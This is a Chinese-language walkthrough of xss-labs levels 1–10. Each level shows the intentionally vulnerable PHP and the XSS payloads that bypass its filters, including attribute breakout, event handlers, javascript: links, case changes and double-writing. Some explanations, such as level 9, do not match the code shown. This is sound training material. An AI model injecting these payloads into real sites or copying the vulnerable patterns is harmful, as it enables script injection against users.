xss-labs-master靶场(1-10关)
目录
xss-labs-master
level_1
代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析
通过$_GET["name"]接收用户传来的name参数,嵌入到HTML页面中,并且没有进行过滤
可以在传递name参数时,传递含有js的代码,进行XSS攻击

<script> 标签中包含一段 JavaScript 代码,用于重写 window.alert 方法。当调用 alert 时,会弹出一个确认框,并跳转到 level2.php?keyword=test
level_2
代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
分析
依旧是通过$_GET["keyword"]来接收用户传来的keyword参数值,
对传递来的参数值进行过滤
htmlspecialchars — 将特殊字符转换为 HTML 实体
那么在h2标签之中的恶意代码就会被htmlspecialchars编码,<、>被编码成html字符实体
但是,,在 <input> 标签的 value 属性中直接使用了 $str,而没有进行过滤
将属性的引号和标签先闭合
<input name=keyword value=""><script>alert('XSS')</script><"">

level_3
代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
分析
显然,后端对$str进行了过滤处理
但是利用 HTML 事件属性,仍然可以恶意执行脚本
输入包含事件处理函数,如 onclick、onload
即使进行了过滤,仍然可以绕过部分防护

在表单中输入
'οnclick='alert("XSS")
点击搜索,当鼠标在输入框中点击时,触发事件,完成xss攻击
level_4
代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析
str_replace — 子字符串替换
去除$str中的<,>
对输出进行了过滤,但是对input标签中的value属性中没有进行过滤
因此可以利用 HTML 实体编码绕过str_replace的过滤

level_5
代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析
检查发现
尝试使用上一关的方法

这里就要用到a标签的 href属性了,尝试注入
构造payload
"><a href="javascript:alert();">xx</a><"

发现页面多了个标签,点击

level_6
代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析
尝试使用上一关payload
"><a href="javascript:alert();">xx</a><"

分析源码,href变成了hr_ef
尝试大小写
"> <a HREF=javascript:alert()>x</a> <"

可以点击链接

level_7
代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析
尝试大小写绕过

尝试一下双写
" ><sscriptcript>alert()</sscriptcript>< "

level_8
代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
分析
尝试大小写,双写
失败
尝试利用href的隐藏属性自动Unicode解码,插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码
javascript:alert()

level_9
代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
分析
当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行
在参数中添加"http://",以防止其被实际执行,这会影响到弹窗的显示
需要构造一个特定的输入(payload),使其满足函数的预期行为
javascript:alert()/* <http://> */

level_10
代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
分析
多了个get的参数,可以尝试后面的type="hidden"入手,或者给type="text"
t_sort=" οnfοcus="javascript:alert()" type="

更多推荐



所有评论(0)